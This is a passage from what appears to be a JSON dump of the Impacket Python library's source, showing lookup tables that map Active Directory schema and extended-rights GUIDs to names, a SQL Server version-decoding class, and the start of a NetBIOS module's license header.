'ms-DS-Last-Known-RDN',\n\t'f29fa736-de09-4be4-b23a-e734c124bacc': 'ms-WMI-intFlags3',\n\t'ba305f73-47e3-11d0-a1a6-00c04fd930c9': 'Print-Stapling-Supported',\n\t'084a944b-e150-4bfe-9345-40e1aedaebba': 'msSFU-30-Yp-Servers',\n\t'bf967a84-0de6-11d0-a285-00aa003049e2': 'Class-Store',\n\t'19195a5d-6da0-11d0-afd3-00c04fd930c9': 'NTDS-Site-Settings',\n\t'523fc6c8-9af4-4a02-9cd7-3dea129eeb27': 'ms-DS-Token-Group-Names-No-GC-Acceptable',\n\t'bf967966-0de6-11d0-a285-00aa003049e2': 'Extended-Chars-Allowed',\n\t'c523e9c0-33b5-4ac8-8923-b57b927f42f6': 'ms-DS-KeyVersionNumber',\n\t'bd74a7ac-c493-4c9c-bdfa-5c7b119ca6b2': 'ms-WMI-intFlags4',\n\t'281416c9-1968-11d0-a28f-00aa003049e2': 'Print-Start-Time',\n\t'04ee6aa6-f83b-469a-bf5a-3c00d3634669': 'msSFU-30-Max-Gid-Number',\n\t'9a7ad948-ca53-11d1-bbd0-0080c76670c0': 'Extended-Class-Info',\n\t'ad7940f8-e43a-4a42-83bc-d688e59ea605': 'ms-DS-Logon-Time-Sync-Interval',\n\t'fb920c2c-f294-4426-8ac1-d24b42aa2bce': 'ms-WMI-intMax',\n\t'ba305f6b-47e3-11d0-a1a6-00c04fd930c9': 'Print-Status',\n\t'ec998437-d944-4a28-8500-217588adfc75': 'msSFU-30-Max-Uid-Number',\n\t'bf967a85-0de6-11d0-a285-00aa003049e2': 'Com-Connection-Point',\n\t'2a132586-9373-11d1-aebc-0000f80367c1': 'NTFRS-Member',\n\t'bf967ab0-0de6-11d0-a285-00aa003049e2': 'Security-Principal',\n\t'bf967972-0de6-11d0-a285-00aa003049e2': 'Extension-Name',\n\t'60234769-4819-4615-a1b2-49d2f119acb5': 'ms-DS-Mastered-By',\n\t'68c2e3ba-9837-4c70-98e0-f0c33695d023': 'ms-WMI-intMin',\n\t'244b296e-5abd-11d0-afd2-00c04fd930c9': 'Printer-Name',\n\t'585c9d5e-f599-4f07-9cf9-4373af4b89d3': 'msSFU-30-NSMAP-Field-Position',\n\t'7ece040f-9327-4cdc-aad3-037adfe62639': 'ms-DS-User-Allowed-NTLM-Network-Authentication',\n\t'd24e2846-1dd9-4bcf-99d7-a6227cc86da7': 'Extra-Columns',\n\t'fdd337f5-4999-4fce-b252-8ff9c9b43875': 'ms-DS-Maximum-Password-Age',\n\t'6af565f6-a749-4b72-9634-3c5d47e6b4e0': 'ms-WMI-intValidValues',\n\t'bf967a01-0de6-11d0-a285-00aa003049e2': 'Prior-Set-Time',\n\t'c875d82d-2848-4cec-bb50-3c5486d09d57': 'msSFU-30-Posix-Member',\n\t'bf967a86-0de6-11d0-a285-00aa003049e2': 'Computer',\n\t'5245803a-ca6a-11d0-afff-0000f80367c1': 'NTFRS-Replica-Set',\n\t'278947b9-5222-435e-96b7-1503858c2b48': 'ms-DS-Service-Allowed-NTLM-Network-Authentication',\n\t'bf967974-0de6-11d0-a285-00aa003049e2': 'Facsimile-Telephone-Number',\n\t'2a74f878-4d9c-49f9-97b3-6767d1cbd9a3': 'ms-DS-Minimum-Password-Age',\n\t'f4d8085a-8c5b-4785-959b-dc585566e445': 'ms-WMI-int8Default',\n\t'bf967a02-0de6-11d0-a285-00aa003049e2': 'Prior-Value',\n\t'7bd76b92-3244-438a-ada6-24f5ea34381e': 'msSFU-30-Posix-Member-Of',\n\t'aacd2170-482a-44c6-b66e-42c2f66a285c': 'ms-DS-Strong-NTLM-Policy',\n\t'd9e18315-8939-11d1-aebc-0000f80367c1': 'File-Ext-Priority',\n\t'b21b3439-4c3a-441c-bb5f-08f20e9b315e': 'ms-DS-Minimum-Password-Length',\n\t'e3d8b547-003d-4946-a32b-dc7cedc96b74': 'ms-WMI-int8Max',\n\t'281416c7-1968-11d0-a28f-00aa003049e2': 'Priority',\n\t'97d2bf65-0466-4852-a25a-ec20f57ee36c': 'msSFU-30-Netgroup-Host-At-Domain',\n\t'bf967a87-0de6-11d0-a285-00aa003049e2': 'Configuration',\n\t'f780acc2-56f0-11d1-a9c6-0000f80367c1': 'NTFRS-Settings',\n\t'bf967976-0de6-11d0-a285-00aa003049e2': 'Flags',\n\t'f9c9a57c-3941-438d-bebf-0edaf2aca187': 'ms-DS-OIDToGroup-Link',\n\t'ed1489d1-54cc-4066-b368-a00daa2664f1': 'ms-WMI-int8Min',\n\t'bf967a03-0de6-11d0-a285-00aa003049e2': 'Private-Key',\n\t'a9e84eed-e630-4b67-b4b3-cad2a82d345e': 'msSFU-30-Netgroup-User-At-Domain',\n\t'ab6a1156-4dc7-40f5-9180-8e4ce42fe5cd': 'ms-DS-AuthN-Policy',\n\t'b7b13117-b82e-11d0-afee-0000f80367c1': 'Flat-Name',\n\t'1a3d0d20-5844-4199-ad25-0f5039a76ada': 'ms-DS-OIDToGroup-Link-BL',\n\t'103519a9-c002-441b-981a-b0b3e012c803': 'ms-WMI-int8ValidValues',\n\t'19405b9a-3cfa-11d1-a9c0-0000f80367c1': 'Privilege-Attributes',\n\t'0dea42f5-278d-4157-b4a7-49b59664915b': 'msSFU-30-Is-Valid-Container',\n\t'5cb41ecf-0e4c-11d0-a286-00aa003049e2': 'Connection-Point',\n\t'2a132588-9373-11d1-aebc-0000f80367c1': 'NTFRS-Subscriber',\n\t'b002f407-1340-41eb-bca0-bd7d938e25a9': 'ms-DS-Source-Anchor',\n\t'bf967977-0de6-11d0-a285-00aa003049e2': 'Force-Logoff',\n\t'fed81bb7-768c-4c2f-9641-2245de34794d': 'ms-DS-Password-History-Length',\n\t'6736809f-2064-443e-a145-81262b1f1366': 'ms-WMI-Mof',\n\t'19405b98-3cfa-11d1-a9c0-0000f80367c1': 'Privilege-Display-Name',\n\t'4503d2a3-3d70-41b8-b077-dff123c15865': 'msSFU-30-Crypt-Method',\n\t'5cb41ed0-0e4c-11d0-a286-00aa003049e2': 'Contact',\n\t'34f6bdf5-2e79-4c3b-8e14-3d93b75aab89': 'ms-DS-Object-SOA',\n\t'3e97891e-8c01-11d0-afda-00c04fd930c9': 'Foreign-Identifier',\n\t'db68054b-c9c3-4bf0-b15b-0fb52552a610': 'ms-DS-Password-Complexity-Enabled',\n\t'c6c8ace5-7e81-42af-ad72-77412c5941c4': 'ms-WMI-Name',\n\t'19405b9b-3cfa-11d1-a9c0-0000f80367c1': 'Privilege-Holder',\n\t'e65c30db-316c-4060-a3a0-387b083f09cd': 'ms-TS-Profile-Path',\n\t'bf967aa7-0de6-11d0-a285-00aa003049e2': 'Person',\n\t'2a132587-9373-11d1-aebc-0000f80367c1': 'NTFRS-Subscriptions',\n\t'7bfdcb88-4807-11d1-a9c3-0000f80367c1': 'Friendly-Names',\n\t'75ccdd8f-af6c-4487-bb4b-69e4d38a959c': 'ms-DS-Password-Reversible-Encryption-Enabled',\n\t'eaba628f-eb8e-4fe9-83fc-693be695559b': 'ms-WMI-NormalizedClass',\n\t'19405b99-3cfa-11d1-a9c0-0000f80367c1': 'Privilege-Value',\n\t'5d3510f0-c4e7-4122-b91f-a20add90e246': 'ms-TS-Home-Directory',\n\t'bf967ab7-0de6-11d0-a285-00aa003049e2': 'Top',\n\t'9a7ad949-ca53-11d1-bbd0-0080c76670c0': 'From-Entry',\n\t'94f2800c-531f-4aeb-975d-48ac39fd8ca4': 'ms-DS-Local-Effective-Deletion-Time',\n\t'27e81485-b1b0-4a8b-bedd-ce19a837e26e': 'ms-WMI-Parm1',\n\t'd9e18317-8939-11d1-aebc-0000f80367c1': 'Product-Code',\n\t'5f0a24d9-dffa-4cd9-acbf-a0680c03731e': 'ms-TS-Home-Drive',\n\t'bf967a8b-0de6-11d0-a285-00aa003049e2': 'Container',\n\t'bf967aa3-0de6-11d0-a285-00aa003049e2': 'Organization',\n\t'bf967979-0de6-11d0-a285-00aa003049e2': 'From-Server',\n\t'4ad6016b-b0d2-4c9b-93b6-5964b17b968c': 'ms-DS-Local-Effective-Recycle-Time',\n\t'0003508e-9c42-4a76-a8f4-38bf64bab0de': 'ms-WMI-Parm2',\n\t'bf967a05-0de6-11d0-a285-00aa003049e2': 'Profile-Path',\n\t'3a0cd464-bc54-40e7-93ae-a646a6ecc4b4': 'ms-TS-Allow-Logon',\n\t'bf967aa4-0de6-11d0-a285-00aa003049e2': 'Organizational-Person',\n\t'bf967a90-0de6-11d0-a285-00aa003049e2': 'Sam-Domain',\n\t'2a132578-9373-11d1-aebc-0000f80367c1': 'Frs-Computer-Reference',\n\t'b05bda89-76af-468a-b892-1be55558ecc8': 'ms-DS-Lockout-Observation-Window',\n\t'45958fb6-52bd-48ce-9f9f-c2712d9f2bfc': 'ms-WMI-Parm3',\n\t'e1aea402-cd5b-11d0-afff-0000f80367c1': 'Proxied-Object-Name',\n\t'15177226-8642-468b-8c48-03ddfd004982': 'ms-TS-Remote-Control',\n\t'8297931e-86d3-11d0-afda-00c04fd930c9': 'Control-Access-Right',\n\t'2a132579-9373-11d1-aebc-0000f80367c1': 'Frs-Computer-Reference-BL',\n\t'421f889a-472e-4fe4-8eb9-e1d0bc6071b2': 'ms-DS-Lockout-Duration',\n\t'3800d5a3-f1ce-4b82-a59a-1528ea795f59': 'ms-WMI-Parm4',\n\t'bf967a06-0de6-11d0-a285-00aa003049e2': 'Proxy-Addresses',\n\t'326f7089-53d8-4784-b814-46d8535110d2': 'ms-TS-Max-Disconnection-Time',\n\t'a8df74bf-c5ea-11d1-bbcb-0080c76670c0': 'Organizational-Role',\n\t'2a13257a-9373-11d1-aebc-0000f80367c1': 'FRS-Control-Data-Creation',\n\t'b8c8c35e-4a19-4a95-99d0-69fe4446286f': 'ms-DS-Lockout-Threshold',\n\t'ab920883-e7f8-4d72-b4a0-c0449897509d': 'ms-WMI-PropertyName',\n\t'5fd424d6-1262-11d0-a060-00aa006c33ed': 'Proxy-Generation-Enabled',\n\t'1d960ee2-6464-4e95-a781-e3b5cd5f9588': 'ms-TS-Max-Connection-Time',\n\t'bf967a8c-0de6-11d0-a285-00aa003049e2': 'Country',\n\t'2a13257b-9373-11d1-aebc-0000f80367c1': 'FRS-Control-Inbound-Backlog',\n\t'64c80f48-cdd2-4881-a86d-4e97b6f561fc': 'ms-DS-PSO-Applies-To',\n\t'65fff93e-35e3-45a3-85ae-876c6718297f': 'ms-WMI-Query',\n\t'bf967a07-0de6-11d0-a285-00aa003049e2': 'Proxy-Lifetime',\n\t'ff739e9c-6bb7-460e-b221-e250f3de0f95': 'ms-TS-Max-Idle-Time',\n\t'bf967aa5-0de6-11d0-a285-00aa003049e2': 'Organizational-Unit',\n\t'2a13257c-9373-11d1-aebc-0000f80367c1': 'FRS-Control-Outbound-Backlog',\n\t'5e6cf031-bda8-43c8-aca4-8fee4127005b': 'ms-DS-PSO-Applied',\n\t'7d3cfa98-c17b-4254-8bd7-4de9b932a345': 'ms-WMI-QueryLanguage',\n\t'80a67e28-9f22-11d0-afdd-00c04fd930c9': 'Public-Key-Policy',\n\t'366ed7ca-3e18-4c7f-abae-351a01e4b4f7': 'ms-TS-Reconnection-Action',\n\t'167758ca-47f3-11d1-a9c3-0000f80367c1': 'CRL-Distribution-Point',\n\t'1be8f171-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Directory-Filter',\n\t'eadd3dfe-ae0e-4cc2-b9b9-5fe5b6ed2dd2': 'ms-DS-Required-Domain-Behavior-Version',\n\t'87b78d51-405f-4b7f-80ed-2bd28786f48d': 'ms-WMI-ScopeGuid',\n\t'b4b54e50-943a-11d1-aebd-0000f80367c1': 'Purported-Search',\n\t'1cf41bba-5604-463e-94d6-1a1287b72ca3': 'ms-TS-Broken-Connection-Action',\n\t'bf967aa6-0de6-11d0-a285-00aa003049e2': 'Package-Registration',\n\t'1be8f177-a9ff-11d0-afe2-00c04fd930c9': 'FRS-DS-Poll',\n\t'4beca2e8-a653-41b2-8fee-721575474bec': 'ms-DS-Required-Forest-Behavior-Version',\n\t'34f7ed6c-615d-418d-aa00-549a7d7be03e': 'ms-WMI-SourceOrganization',\n\t'bf967a09-0de6-11d0-a285-00aa003049e2': 'Pwd-History-Length',\n\t'23572aaf-29dd-44ea-b0fa-7e8438b9a4a3': 'ms-TS-Connect-Client-Drives',\n\t'bf967a8d-0de6-11d0-a285-00aa003049e2': 'Cross-Ref',\n\t'52458020-ca6a-11d0-afff-0000f80367c1': 'FRS-Extensions',\n\t'b77ea093-88d0-4780-9a98-911f8e8b1dca': 'ms-DS-Resultant-PSO',\n\t'152e42b6-37c5-4f55-ab48-1606384a9aea': 'ms-WMI-stringDefault',\n\t'bf967a0a-0de6-11d0-a285-00aa003049e2': 'Pwd-Last-Set',\n\t'8ce6a937-871b-4c92-b285-d99d4036681c': 'ms-TS-Connect-Printer-Drives',\n\t'1be8f178-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Fault-Condition',\n\t'456374ac-1f0a-4617-93cf-bc55a7c9d341': 'ms-DS-Password-Settings-Precedence',\n\t'37609d31-a2bf-4b58-8f53-2b64e57a076d': 'ms-WMI-stringValidValues',\n\t'bf967a0b-0de6-11d0-a285-00aa003049e2': 'Pwd-Properties',\n\t'c0ffe2bd-cacf-4dc7-88d5-61e9e95766f6': 'ms-TS-Default-To-Main-Printer',\n\t'ef9e60e0-56f7-11d1-a9c6-0000f80367c1': 'Cross-Ref-Container',\n\t'b7b13122-b82e-11d0-afee-0000f80367c1': 'Physical-Location',\n\t'1be8f170-a9ff-11d0-afe2-00c04fd930c9': 'FRS-File-Filter',\n\t'd1e169a4-ebe9-49bf-8fcb-8aef3874592d': 'ms-DS-Max-Values',\n\t'95b6d8d6-c9e8-4661-a2bc-6a5cabc04c62': 'ms-WMI-TargetClass',\n\t'80a67e4e-9f22-11d0-afdd-00c04fd930c9': 'Quality-Of-Service',\n\t'a744f666-3d3c-4cc8-834b-9d4f6f687b8b': 'ms-TS-Work-Directory',\n\t'2a13257d-9373-11d1-aebc-0000f80367c1': 'FRS-Flags',\n\t'cbf7e6cd-85a4-4314-8939-8bfe80597835': 'ms-DS-Members-For-Az-Role',\n\t'1c4ab61f-3420-44e5-849d-8b5dbf60feb7': 'ms-WMI-TargetNameSpace',\n\t'cbf70a26-7e78-11d2-9921-0000f87a57d4': 'Query-Filter',\n\t'9201ac6f-1d69-4dfb-802e-d95510109599': 'ms-TS-Initial-Program',\n\t'bf967a8e-0de6-11d0-a285-00aa003049e2': 'Device',\n\t'e5209ca2-3bba-11d2-90cc-00c04fd91ab1': 'PKI-Certificate-Template',\n\t'5245801e-ca6a-11d0-afff-0000f80367c1': 'FRS-Level-Limit',\n\t'ececcd20-a7e0-4688-9ccf-02ece5e287f5': 'ms-DS-Members-For-Az-Role-BL',\n\t'c44f67a5-7de5-4a1f-92d9-662b57364b77': 'ms-WMI-TargetObject',\n\t'e1aea404-cd5b-11d0-afff-0000f80367c1': 'Query-Policy-BL',\n\t'40e1c407-4344-40f3-ab43-3625a34a63a2': 'ms-TS-Endpoint-Data',\n\t'2a13257e-9373-11d1-aebc-0000f80367c1': 'FRS-Member-Reference',\n\t'5a2eacd7-cc2b-48cf-9d9a-b6f1a0024de9': 'ms-DS-NC-Type',\n\t'5006a79a-6bfe-4561-9f52-13cf4dd3e560': 'ms-WMI-TargetPath',\n\t'e1aea403-cd5b-11d0-afff-0000f80367c1': 'Query-Policy-Object',\n\t'377ade80-e2d8-46c5-9bcd-6d9dec93b35e': 'ms-TS-Endpoint-Type',\n\t'8447f9f2-1027-11d0-a05f-00aa006c33ed': 'Dfs-Configuration',\n\t'ee4aa692-3bba-11d2-90cc-00c04fd91ab1': 'PKI-Enrollment-Service',\n\t'2a13257f-9373-11d1-aebc-0000f80367c1': 'FRS-Member-Reference-BL',\n\t'cafcb1de-f23c-46b5-adf7-1e64957bd5db': 'ms-DS-Non-Members',\n\t'ca2a281e-262b-4ff7-b419-bc123352a4e9': 'ms-WMI-TargetType',\n\t'7bfdcb86-4807-11d1-a9c3-0000f80367c1': 'QueryPoint',\n\t'3c08b569-801f-4158-b17b-e363d6ae696a': 'ms-TS-Endpoint-Plugin',\n}\n\n\nEXTENDED_RIGHTS = {\n\t'ab721a52-1e2f-11d0-9819-00aa0040529b': 'Domain-Administer-Server',\n\t'ab721a53-1e2f-11d0-9819-00aa0040529b': 'User-Change-Password',\n\t'00299570-246d-11d0-a768-00aa006e0529': 'User-Force-Change-Password',\n\t'ab721a55-1e2f-11d0-9819-00aa0040529b': 'Send-To',\n\t'c7407360-20bf-11d0-a768-00aa006e0529': 'Domain-Password',\n\t'59ba2f42-79a2-11d0-9020-00c04fc2d3cf': 'General-Information',\n\t'4c164200-20c0-11d0-a768-00aa006e0529': 'User-Account-Restrictions',\n\t'5f202010-79a5-11d0-9020-00c04fc2d4cf': 'User-Logon',\n\t'bc0ac240-79a9-11d0-9020-00c04fc2d4cf': 'Membership',\n\t'a1990816-4298-11d1-ade2-00c04fd8d5cd': 'Open-Address-Book',\n\t'e45795b2-9455-11d1-aebd-0000f80367c1': 'Email-Information',\n\t'e45795b3-9455-11d1-aebd-0000f80367c1': 'Web-Information',\n\t'1131f6aa-9c07-11d1-f79f-00c04fc2dcd2': 'DS-Replication-Get-Changes',\n\t'1131f6ab-9c07-11d1-f79f-00c04fc2dcd2': 'DS-Replication-Synchronize',\n\t'1131f6ac-9c07-11d1-f79f-00c04fc2dcd2': 'DS-Replication-Manage-Topology',\n\t'e12b56b6-0a95-11d1-adbb-00c04fd8d5cd': 'Change-Schema-Master',\n\t'd58d5f36-0a98-11d1-adbb-00c04fd8d5cd': 'Change-Rid-Master',\n\t'fec364e0-0a98-11d1-adbb-00c04fd8d5cd': 'Do-Garbage-Collection',\n\t'0bc1554e-0a99-11d1-adbb-00c04fd8d5cd': 'Recalculate-Hierarchy',\n\t'1abd7cf8-0a99-11d1-adbb-00c04fd8d5cd': 'Allocate-Rids',\n\t'bae50096-4752-11d1-9052-00c04fc2d4cf': 'Change-PDC',\n\t'440820ad-65b4-11d1-a3da-0000f875ae0d': 'Add-GUID',\n\t'014bf69c-7b3b-11d1-85f6-08002be74fab': 'Change-Domain-Master',\n\t'4b6e08c0-df3c-11d1-9c86-006008764d0e': 'msmq-Receive-Dead-Letter',\n\t'4b6e08c1-df3c-11d1-9c86-006008764d0e': 'msmq-Peek-Dead-Letter',\n\t'4b6e08c2-df3c-11d1-9c86-006008764d0e': 'msmq-Receive-computer-Journal',\n\t'4b6e08c3-df3c-11d1-9c86-006008764d0e': 'msmq-Peek-computer-Journal',\n\t'06bd3200-df3e-11d1-9c86-006008764d0e': 'msmq-Receive',\n\t'06bd3201-df3e-11d1-9c86-006008764d0e': 'msmq-Peek',\n\t'06bd3202-df3e-11d1-9c86-006008764d0e': 'msmq-Send',\n\t'06bd3203-df3e-11d1-9c86-006008764d0e': 'msmq-Receive-journal',\n\t'b4e60130-df3f-11d1-9c86-006008764d0e': 'msmq-Open-Connector',\n\t'edacfd8f-ffb3-11d1-b41d-00a0c968f939': 'Apply-Group-Policy',\n\t'037088f8-0ae1-11d2-b422-00a0c968f939': 'RAS-Information',\n\t'9923a32a-3607-11d2-b9be-0000f87a36b2': 'DS-Install-Replica',\n\t'cc17b1fb-33d9-11d2-97d4-00c04fd8d5cd': 'Change-Infrastructure-Master',\n\t'be2bb760-7f46-11d2-b9ad-00c04f79f805': 'Update-Schema-Cache',\n\t'62dd28a8-7f46-11d2-b9ad-00c04f79f805': 'Recalculate-Security-Inheritance',\n\t'69ae6200-7f46-11d2-b9ad-00c04f79f805': 'DS-Check-Stale-Phantoms',\n\t'0e10c968-78fb-11d2-90d4-00c04f79dc55': 'Certificate-Enrollment',\n\t'bf9679c0-0de6-11d0-a285-00aa003049e2': 'Self-Membership',\n\t'72e39547-7b18-11d1-adef-00c04fd8d5cd': 'Validated-DNS-Host-Name',\n\t'b7b1b3dd-ab09-4242-9e30-9980e5d322f7': 'Generate-RSoP-Planning',\n\t'9432c620-033c-4db7-8b58-14ef6d0bf477': 'Refresh-Group-Cache',\n\t'91d67418-0135-4acc-8d79-c08e857cfbec': 'SAM-Enumerate-Entire-Domain',\n\t'b7b1b3de-ab09-4242-9e30-9980e5d322f7': 'Generate-RSoP-Logging',\n\t'b8119fd0-04f6-4762-ab7a-4986c76b3f9a': 'Domain-Other-Parameters',\n\t'e2a36dc9-ae17-47c3-b58b-be34c55ba633': 'Create-Inbound-Forest-Trust',\n\t'1131f6ad-9c07-11d1-f79f-00c04fc2dcd2': 'DS-Replication-Get-Changes-All',\n\t'ba33815a-4f93-4c76-87f3-57574bff8109': 'Migrate-SID-History',\n\t'45ec5156-db7e-47bb-b53f-dbeb2d03c40f': 'Reanimate-Tombstones',\n\t'2f16c4a5-b98e-432c-952a-cb388ba33f2e': 'DS-Execute-Intentions-Script',\n\t'f98340fb-7c5b-4cdb-a00b-2ebdfa115a96': 'DS-Replication-Monitor-Topology',\n\t'280f369c-67c7-438e-ae98-1d46f3c6f541': 'Update-Password-Not-Required-Bit',\n\t'ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501': 'Unexpire-Password',\n\t'05c74c5e-4deb-43b4-bd9f-86664c2a7fd5': 'Enable-Per-User-Reversibly-Encrypted-Password',\n\t'4ecc03fe-ffc0-4947-b630-eb672a8a9dbc': 'DS-Query-Self-Quota',\n\t'91e647de-d96f-4b70-9557-d63ff4f3ccd8': 'Private-Information',\n\t'1131f6ae-9c07-11d1-f79f-00c04fc2dcd2': 'Read-Only-Replication-Secret-Synchronization',\n\t'5805bc62-bdc9-4428-a5e2-856a0f4c185e': 'Terminal-Server-License-Server',\n\t'1a60ea8d-58a6-4b20-bcdc-fb71eb8a9ff8': 'Reload-SSL-Certificate',\n\t'89e95b76-444d-4c62-991a-0facbeda640c': 'DS-Replication-Get-Changes-In-Filtered-Set',\n\t'7726b9d5-a4b4-4288-a6b2-dce952e80a7f': 'Run-Protect-Admin-Groups-Task',\n\t'7c0e2a7c-a419-48e4-a995-10180aad54dd': 'Manage-Optional-Features',\n\t'3e0f7e18-2c7a-4c10-ba82-4d926db99a3e': 'DS-Clone-Domain-Controller',\n\t'd31a8757-2447-4545-8081-3bb610cacbf2': 'Validated-MS-DS-Behavior-Version',\n\t'80863791-dbe9-4eb8-837e-7f0ab55d9ac7': 'Validated-MS-DS-Additional-DNS-Host-Name',\n\t'a05b8cc2-17bc-4802-a710-e7c15ab866a2': 'Certificate-AutoEnrollment',\n\t'4125c71f-7fac-4ff0-bcb7-f09a41325286': 'DS-Set-Owner',\n\t'88a9933e-e5c8-4f2a-9dd7-2527416b8092': 'DS-Bypass-Quota',\n\t'084c93a2-620d-4879-a836-f0ae47de0e89': 'DS-Read-Partition-Secrets',\n\t'94825a8d-b171-4116-8146-1e34d8f54401': 'DS-Write-Partition-Secrets',\n\t'9b026da6-0d3c-465c-8bee-5199d7165cba': 'DS-Validated-Write-Computer',\n\t'ab721a54-1e2f-11d0-9819-00aa0040529b': 'Send-As',\n\t'ab721a56-1e2f-11d0-9819-00aa0040529b': 'Receive-As',\n\t'77b5b886-944a-11d1-aebd-0000f80367c1': 'Personal-Information',\n\t'e48d0154-bcf8-11d1-8702-00c04fb96050': 'Public-Information',\n\t'f3a64788-5306-11d1-a9c5-0000f80367c1': 'Validated-SPN',\n\t'68b1d179-0d15-4d4f-ab71-46152e79a7bc': 'Allowed-To-Authenticate',\n\t'ffa6f046-ca4b-4feb-b40d-04dfee722543': 'MS-TS-GatewayAccess',\n}\n"
  },
  {
    "path": "impacket/mssql/version.py",
    "content": "import struct\n\nclass MSSQL_VERSION:\n    # Build by @splouchy from https://sqlserverbuilds.blogspot.com/\n    # Added by @Deft_\n    VERSION_NAME = (\"Microsoft SQL Server\", {\n        6 : (\"6\", {\n            0 : (\".0\", {\n                121 : \"RTM (no SP)\",\n                124 : \"(SP1)\",\n                139 : \"(SP2)\",\n                151 : \"(SP3)\",\n            }),\n            50 : (\".5\", {\n                201 : \"RTM (no SP)\",\n                213 : \"(SP1)\",\n                240 : \"(SP2)\",\n                258 : \"(SP3)\",\n                281 : \"(SP4)\",\n                416 : \"(SP5)\",\n            }),\n        }),\n        7 : (\"7\", {\n            0 : (\"\", {\n                623 : \"RTM (no SP)\",\n                699 : \"(SP1)\",\n                842 : \"(SP2)\",\n                961 : \"(SP3)\",\n                1063 : \"(SP4)\",\n            }),\n        }),\n        8 : (\"2000\", {\n            0 : (\"\", {\n                194 : \"RTM (no SP)\",\n                384 : \"(SP1)\",\n                532 : \"(SP2)\",\n                760 : \"(SP3)\",\n                2039 : \"(SP4)\",\n            }),\n        }),\n        9 : (\"2005\", {\n            0 : (\"\", {\n                1399 : \"RTM (no SP)\",\n                2047 : \"(SP1)\",\n                3042 : \"(SP2)\",\n                4035 : \"(SP3)\",\n                5000 : \"(SP4)\",\n            }),\n        }),\n        10 : (\"2008\", {\n            0 : (\"\", {\n                1600 : \"RTM (no SP)\",\n                2531 : \"(SP1)\",\n                4000 : \"(SP2)\",\n                5500 : \"(SP3)\",\n                6000 : \"(SP4)\",\n            }),\n            50 : (\" R2\", {\n                1600 : \"RTM (no SP)\",\n                2500 : \"(SP1)\",\n                4000 : \"(SP2)\",\n                6000 : \"(SP3)\",\n            }),\n        }),\n        11 : (\"2012\", {\n            0 : (\"\", {\n                2100 : \"RTM (no SP)\",\n                3000 : \"(SP1)\",\n                5058 : \"(SP2)\",\n                6020 : \"(SP3)\",\n                7001 : \"(SP4)\",\n            }),\n        }),\n        # Supported\n        12 : (\"2014\", {\n            0 : (\"\", {\n                2000 : \"RTM (no SP)\",\n                4100 : \"(SP1)\",\n                5000 : \"(SP2)\",\n                6024 : \"(SP3)\",\n            }),\n        }),\n        13 : (\"2016\", {\n            0 : (\"\", {\n                1601 : \"RTM (no SP)\",\n                4001 : \"(SP1)\",\n                5026 : \"(SP2)\",\n                6300 : \"(SP3)\",\n            }),\n        }),\n        14 : (\"2017\", {\n            0 : (\"\", {\n                1000 : \"RTM\",\n                3006 : \"(CU1)\",\n                3008 : \"(CU2)\",\n                3015 : \"(CU3)\",\n                3022 : \"(CU4)\",\n                3023 : \"(CU5)\",\n                3025 : \"(CU6)\",\n                3026 : \"(CU7)\",\n                3029 : \"(CU8)\",\n                3030 : \"(CU9)\",\n                3037 : \"(CU10)\",\n                3038 : \"(CU11)\",\n                3045 : \"(CU12)\",\n                3048 : \"(CU13)\",\n                3076 : \"(CU14)\",\n                3162 : \"(CU15)\",\n                3223 : \"(CU16)\",\n                3228 : \"(CU17)\",\n                3257 : \"(CU18)\",\n                3281 : \"(CU19)\",\n                3294 : \"(CU20)\",\n                3335 : \"(CU21)\",\n                3356 : \"(CU22)\",\n                3381 : \"(CU23)\",\n                3391 : \"(CU24)\",\n                3401 : \"(CU25)\",\n                3411 : \"(CU26)\",\n                3421 : \"(CU27)\",\n                3430 : \"(CU28)\",\n                3436 : \"(CU29)\",\n                3451 : \"(CU30)\",\n                3456 : \"(CU31)\",\n            }),\n        }),\n        15 : (\"2019\", {\n            0 : (\"\", {\n                2000 : \"RTM\",\n                4003 : \"(CU1)\",\n                4013 : \"(CU2)\",\n                4023 : \"(CU3)\",\n                4033 : \"(CU4)\",\n                4043 : \"(CU5)\",\n                4053 : \"(CU6)\",\n                4063 : \"(CU7)\",\n                4073 : \"(CU8)\",\n                4102 : \"(CU9)\",\n                4123 : \"(CU10)\",\n                4138 : \"(CU11)\",\n                4153 : \"(CU12)\",\n                4178 : \"(CU13)\",\n                4188 : \"(CU14)\",\n                4198 : \"(CU15)\",\n                4223 : \"(CU16)\",\n                4249 : \"(CU17)\",\n                4261 : \"(CU18)\",\n                4298 : \"(CU19)\",\n                4312 : \"(CU20)\",\n            }),\n        }),\n        16 : (\"2022\", {\n            0 : (\"\", {\n                1000 : \"RTM\",\n                4003 : \"(CU1)\",\n                4015 : \"(CU2)\",\n                4025 : \"(CU3)\",\n                4035 : \"(CU4)\",\n            }),\n        }),\n    })\n\n    def __init__(self, version):\n        self.major, self.minor, self.build = struct.unpack_from(\">bbH\", version)\n\n    @property\n    def version_number(self):\n        return f\"{self.major}.{self.minor}.{self.build}\"\n\n    @property\n    def version_name(self):\n        try:\n            string = MSSQL_VERSION.VERSION_NAME[0]\n            string += \" \"\n            string += MSSQL_VERSION.VERSION_NAME[1][self.major][0]\n            string += MSSQL_VERSION.VERSION_NAME[1][self.major][1][self.minor][0]\n            string += \" \"\n            string += MSSQL_VERSION.VERSION_NAME[1][self.major][1][self.minor][1][self.build]\n        except KeyError:\n            pass\n        finally:\n            return string\n\n    def __repr__(self):\n        return f\"{self.version_name} ({self.version_number})\"\n"
  },
  {
    "path": "impacket/nmb.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Author:\n#   Altered source done by Alberto Solino (@agsolino)\n#\n# Copyright and license note from Pysmb:\n#\n# Copyright (C) 2001 Michael Teo <michaelteo@bigfoot.com>\n# nmb.py - NetBIOS library\n#\n# This software is provided 'as-is', without any express or implied warranty. \n# In no event will the author be held liable for any damages arising from the \n# use of this software.\n#\n# Permission is granted to anyone to use this software for any purpose, \n# including commercial applications, and to alter it and redistribute it \n# freely, subject to the following restrictions:\n#\n# 1. The origin of this software must not be misrepresented; you must not \n#    claim that you wrote the original software. If you use this software \n#    in a product, an acknowledgment in the product documentation would be\n#    appreciated but is not required.\n#\n# 2. Altered source versions must be plainly marked as such, and must not be \n#    misrepresented as being the original software.\n#\n# 3. This notice cannot be removed or altered from any source distribution.\n#\nfrom __future__ 